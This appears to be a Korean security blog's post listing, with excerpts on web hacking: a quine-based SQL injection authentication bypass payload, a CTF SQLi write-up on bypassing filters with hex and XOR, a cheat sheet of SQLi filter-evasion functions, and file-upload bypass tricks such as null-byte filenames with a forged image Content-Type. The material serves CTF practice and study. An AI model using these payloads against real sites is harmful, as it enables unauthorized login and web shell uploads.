전체 글 173

Quine을 이용한 인증 우회

아래와 같이 입력받은 값과 쿼리의 리턴값이 같으면 인증되는 코드가 있다고 하자. if ($_GET['pw'] === $result['pw']) echo " CONG !! "; 아래와 같이 쿼리를 날려주면 리턴값을 입력값과 같게 만들 수 있다. mysql> select pw from prob_1 where id='' and pw=''union select REPLACE(@v:='\'union select REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''));+------------------------------..

웹/SQLi 2017.01.20

h3x0r CTF

2017.01 h3x03 CTF SQLi 2 ".$query." "; $result = $mysqli->query($query); $result = @mysqli_fetch_array($result); if ($result['id'] === 'admin') { die($flag); } else if(isset($result['id'])) { echo "Hello {$result['id']}"; } } highlight_file(__FILE__); //made by ch4n3 ?> 필터링이 상당히 빡세다. u가 필터링되있어서 substr 등 못쓴다. order by, group 등 다 안된다.like, =, in 다 막혀있다. 쿼터도 막혀있다.쿼터는 hex로 우회하고, like는 XOR연산으로 우회한다. ..

write-up/CTF 2017.01.08

SQL Injection 필터링 우회

문자열 우회 ascii(‘a’) = 97 ord(‘a’) = 97‘abc’ = char(97,98,99)'abc' = unhex(616263) hex(‘a’) = 61 substr 우회midlpad(‘abc’,1,space(1)) = ‘a’ rpad(‘abc’,1,space(1)) = ‘a’ left(‘abc’,1) = ‘a’ 문자열 검색locate(‘a’,’abc’) position(‘a’,’abc’) position(‘a’ IN ‘abc’) instr(‘abc’,’a’) 각종 필터링 걸려있을 땐 정규식 이용where id regexp "admin" admin이 필터링 되어있으면where id regexp concat("admi", "n") 정규식에서 "^admin"은 "admin"으로 시작"adadm..

웹/SQLi 2017.01.08

파일업로드 우회

1. “test.php “와 같이 확장자 명 뒤에 공백 2. 파일 확장자를 php5와 같이 변경 3. 파일 이름 뒤에 % 붙여서 전송 (프록시로) 4. 널 바이트 이용. (root-me.org - File upload)[파일 업로드시 png파일 밖에 안 올라간다.]Content-Type을 아래와 같이 주고파일명을 .png로 인식하게 하고 업로드 성공시킨다.업로드한 파일 실행시에는 php파일이 되어야 하므로, %00로 .png를 날린다. Content-Disposition: form-data; name="file"; filename="a.php%00.png"Content-Type: image/png

웹/웹_기타 2016.12.08